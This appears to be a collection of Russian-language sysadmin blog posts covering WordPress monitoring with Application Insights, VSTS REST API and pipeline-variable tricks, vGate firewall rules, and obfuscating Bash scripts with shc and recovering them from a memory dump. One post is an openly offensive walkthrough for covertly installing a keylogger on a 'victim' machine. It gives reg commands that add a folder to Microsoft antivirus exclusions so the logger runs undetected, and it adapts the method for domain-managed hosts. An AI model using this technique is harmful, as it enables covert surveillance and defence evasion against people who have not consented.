Мониторинг WordPress при помощи Application Insights

Устанавливаем в WordPress плагин Application Insights и активируем его.

В Azire Portal cоздаём экземпляр Application Insights и в разделе "Properties" копируем "INSTRUMENTATION KEY".

Далее идем в WordPress в раздел "Settings" -> "Application Insights" добавляем наш Instrumentation Key.

Сохраняем изменения и проверяем появление скрипта на страницах сайта.

Всё готово, через некоторое время данные начнут поступать в Application Insights и станут доступны на Azure Portal.

VSTS tricks. Как изменить 100500 Build Definitions за один раз

Вопрос

Допустим Вы хотите изменить какой-то общий параметр сразу во всех Build Definitions. Например, путь для выгрузки артефактов.

Как это сделать? Ни экспорта/импорта, ни PowerShell модулей в 2016 году для VSTS не существует. Но зато есть REST API.

Ответ

И так, чтобы получить доступ к API необходимо сгенерировать Personal access token.
Переходим в VSTS в раздел Account -> Security -> Personal access tokens -> Add

Задаём название, срок действия, нажимаем "Create Token".

Теперь приступаем к скрипту на PowerShel.
Сначала зададим основные параметры

$PAT - Только что сгенерированный токен
$Instance, $Project - URL Вашего VSTS и название проекта, подробнее здесь.
$Version - Актуальная версия API

Далее сформируем HTTP Get запрос для получения списка ID всех Build Definitions.

В ответ мы получим JSON с которым довольно удобно работать в PowerShell.
Так можно получить все ID.

$BuildDefinitionsIDs = $BuildDefinitionsList.value.id

Далее сделаем цикл, который будет проходить по всем  Build Definitions, выгружать описание в JSON и заменять необходимые параметры.
Тут логично ограничиться работой с JSON, но в моём случае старый адрес \\KR-VSOBUILD01 присутствует в самых разных шагах билда. Поэтому мне проще сохранить его описание в файл, произвести замену при помощи -Replace и потом прочитать из файла.


В выводе скрипта - результат для каждой Build Definitions

Скрипт целиком

Как проверить доступность порта из Azure App Service (Web App)

Допустим, вы открыли доступ к своему on-premise SQL Server для приложения в Azure. Как проверить, что всё сделано правильно?

На Azure Portal открываем <App Service Name> -> Advanced Tools -> Go или проще https://<sitename>.scm.azurewebsites.net/ и попадаем в Kudu.

Далее выбираем Debug console -> CMD и в загрузившейся консоли пингуем наш SQL при помощи tcpping.

tcpping <sqladdress>:1443

VSTS tricks. Как передать переменную из одного шага в другой

Вопрос

Как в Visual Studio Team Services передать переменную (например результат выполнения скрипта) из одного шага (задачи) билда/релиза в другой?

Ответ

Чтобы переменная была доступна между шагами (задачами) её необходимо определить специальным образом.

Выглядит это так: ##vso[task.setvariable]value

Пример

Определяем переменную

$Value = "ALL GLORY TO THE VSTS!"

Write-Host "##vso[task.setvariable variable=Testenv1;]$Value"

Читаем переменную

$MyVar = (Get-ChildItem Env:Testenv1).Value
Write-Verbose "My variable is $MyVar" -Verbose

Результат

Подробнее тут: https://github.com/Microsoft/vsts-tasks/blob/master/docs/authoring/commands.md

Удалённая установка кейлоггера на компьютер с Microsoft Security Essentials или System Center Endpoint Protection

Дано: Сессия PsExec (либо любая другая) с административными привилегиями на машине жертвы. У жертвы установлен Microsoft Security Essentials либо System Center Endpoint Protection.
Задача: Незаметно для жертвы установить кейлоггер.

Разберём неправильный и правильный способ решения данной задачи.

Неправильный способ

Для начала проверим, что произойдёт, если попробовать установить логгер "в лоб" без всяких ухищрений. Собираем бинарник, задаём в качестве рабочей директории что-нибудь неприметное, например c:\Windows\SysWOW64\WindowsPowerShell\

1. Открываем сессию PsExec

2. Кидаем установщик логгера в директорию c:\Windows\SysWOW64\WindowsPowerShell\ и запускаем

c:\Windows\SysWOW64\WindowsPowerShell\trojan.exe

Ищем процесс кейлоггера

tasklist /fi "IMAGENAME eq VME.exe"

Его нет. А почему? Да потому что, антивирус успешно отработал и радостно сообщил об этом жертве.

Операция провалена...

Правильный способ

Теперь пойдём другим путём и установим логгер в директорию, которая не будет проверятся антивирусом.

Список исключений для Microsoft Security Essentials хранится в ключе реестра HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths

1. Для начала проверим его содержимое

reg query "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths"

В данном случае список исключений пуст.  

2. Добавим в исключения директорию c:\Windows\SysWOW64\WindowsPowerShell\

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths" /v c:\Windows\SysWOW64\WindowsPowerShell\ /d "1" /t REG_DWORD

и проверим результат

reg query "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths"

3. Помещаем логгер в выбранный нами каталог и запускаем его

c:\Windows\SysWOW64\WindowsPowerShell\trojan.exe

Проверяем результат:

tasklist /fi "IMAGENAME eq VME.exe"

PROFIT! Логгер запущен, а антивирус жертвы ни о чём не подозревает

Поправка на домен

В случае когда жертва является членом домена AD и вместо Essentials у неё установлен System Center Endpoint Protection, логика действий будет немного другой. Endpoint Protection, как и  Essentials хранит исключения в HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths, но их список, скорее всего, будет настроен централизованно через политики защиты. В этом случае наши изменения будут перезаписаны после повторного применения политики, поэтому у нас есть два варианта действий:

• Если список исключений задан (в реестре есть какие-либо записи) устанавливаем логгер в любой из перечисленных там каталогов;
• Если список исключений не задан (записи в реестре отсутствуют) то политика исключений не настроена и мы можем смело вписывать туда нужный нам каталог.

В остальном порядок действий ничем не отличается. 

vGate. Утилита drvmgr

После установки в режиме шлюза vGate радостно начинает блокировать весь трафик на внешнем сетевом интерфейсе, кроме необходимого для соединения клиента с сервером авторизации.

Однако, при внедрении может возникнуть ситуация, когда сеть уже настроена в соответствии с требованием "Сеть администрирования виртуальной инфраструктуры и сеть виртуальных машин рекомендуется отделить от остальных сетей виртуальной инфраструктуры", но что-то пошло не так и подключиться при помощи "Агента аутентификации" не удаётся.

В этом случае и сервер vGate, и защищаемые хосты становятся недоступны для администрирования.

Чтобы подстраховаться от такой ситуации можно использовать специальную утилиту drvmgr.exe находящуюся в каталоге с vGate. С её помощью можно управлять правилами фильтрации трафика в vGate.

Для просмотра текущих правил фильтрации необходимо выполнить следующее:

"C:\Program Files\vGate\drvmgr.exe" i 0x031

Дефолтные правила выглядят так:

Чтобы разрешить доступ к серверу по RDP выполняем следующую команду:

"C:\Program Files\vGate\drvmgr.exe" a any any any 10.57.33.41:3389 4

Теперь правила выглядят следующим образом:

Когда внедрение завершено и всё уже работает стабильно, удаляем это правило командой:

"C:\Program Files\vGate\drvmgr.exe" r any any any 10.57.33.41:3389 4

Данную утилиту также можно использовать при траблшутинге для повышения уровня логирования:

"C:\Program Files\vGate\drvmgr.exe" d 0x3d0027ff

SHC. Обфускация, шифрование и дешифрование Bash скриптов

1. Установка shc на CentOS

Ставим gcc, скачиваем и устанавливаем shc

[root@centos ~]# yum install gcc
[root@centos ~]# wget http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.7.tgz
[root@centos ~]# tar xvfz shc-3.8.7.tgz
[root@centos ~]# cd shc-3.8.7
[root@centos shc-3.8.7]# make

2. Шифрование

Создаём скрипт

[root@centos shc-3.8.7]# nano script.sh
#!/bin/bash
echo "Preved Medved !!!"

Преобразуем его при помощи shc

[root@localhost shc-3.8.7]# ./shc -r -v -T -f ./script.sh
shc shll=bash
shc [-i]=-c
shc [-x]=exec '%s' "$@"
shc [-l]=
shc opts=
shc: cc  ./script.sh.x.c -o ./script.sh.x
shc: strip ./script.sh.x
shc: chmod go-r ./script.sh.x

-r — возможность запускать на других машинах;
-v — подробный вывод при компиляции;
-T — разрешить трассировку скрипта. Без этой опции можно получить ошибку "(command): Operation not permitted" при запуске не из под рута;
-f — путь к файлу скрипта.

В результате имеем

[root@localhost shc-3.8.7]# ls -lh script*
-rw-r--r--. 1 root root   37 Окт 28 21:21 script.sh
-rwx--x--x. 1 root root 9,2K Окт 28 21:25 script.sh.x
-rw-r--r--. 1 root root 9,5K Окт 28 21:25 script.sh.x.c

• script.sh.x.c — нечитабельный код на C, вместе с текстом скрипта, шифрованным при помощи RC4
• script.sh.x — скомпилированный бинарник

3. Запуск

Запустим полученный бинарник

[root@localhost shc-3.8.7]# ./script.sh.x
Preved Medved !!!
[root@localhost shc-3.8.7]#

Перенесём бинарник на другую машину и попробуем запустить

Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux
root@debian:~# ls
script.sh.x
root@debian:~# ./script.sh.x
Preved Medved !!!
root@debian:~#

Видим, что скрипт отработал.

4. Дешифрование

Процесс дешифрования для shc версии 3.7 описан ещё в 2005 году, однако есть более простой путь получения исходного текста скрипта. Т.к. при выполнении бинарника происходит его расшифровка в оперативную память, достаточно сдампить и проанализировать данный участок памяти.

Убираем лимит на размер дампа

root@debian:~# ulimit -c unlimited

Выполняем команду

root@debian:~# ./script.sh.x&  ( sleep 0.001 &&  kill -SIGSEGV $! )
[1] 13315
root@debian:~#
[1]+  Segmentation fault      (core dumped) ./script.sh.x

Здесь важно подобрать такой интервал времени (sleep 0.001), чтобы скрипт успел выгрузиться в память, но не успел завершиться.
$! — будет содержать PID запущенного процесса

kill -SIGSEGV — вызовет ошибку "Segmentation fault" выгрузку памяти в дамп.

В результате в каталоге со скриптом имеем файл "core"

root@debian:~# ls -lh
total 96K
-rw------- 1 root root 212K Oct 30 16:20 core
-rwxr--r-- 1 root root 9.2K Oct 28 13:25 script.sh.x

В котором несложно найти текст исходного скрипта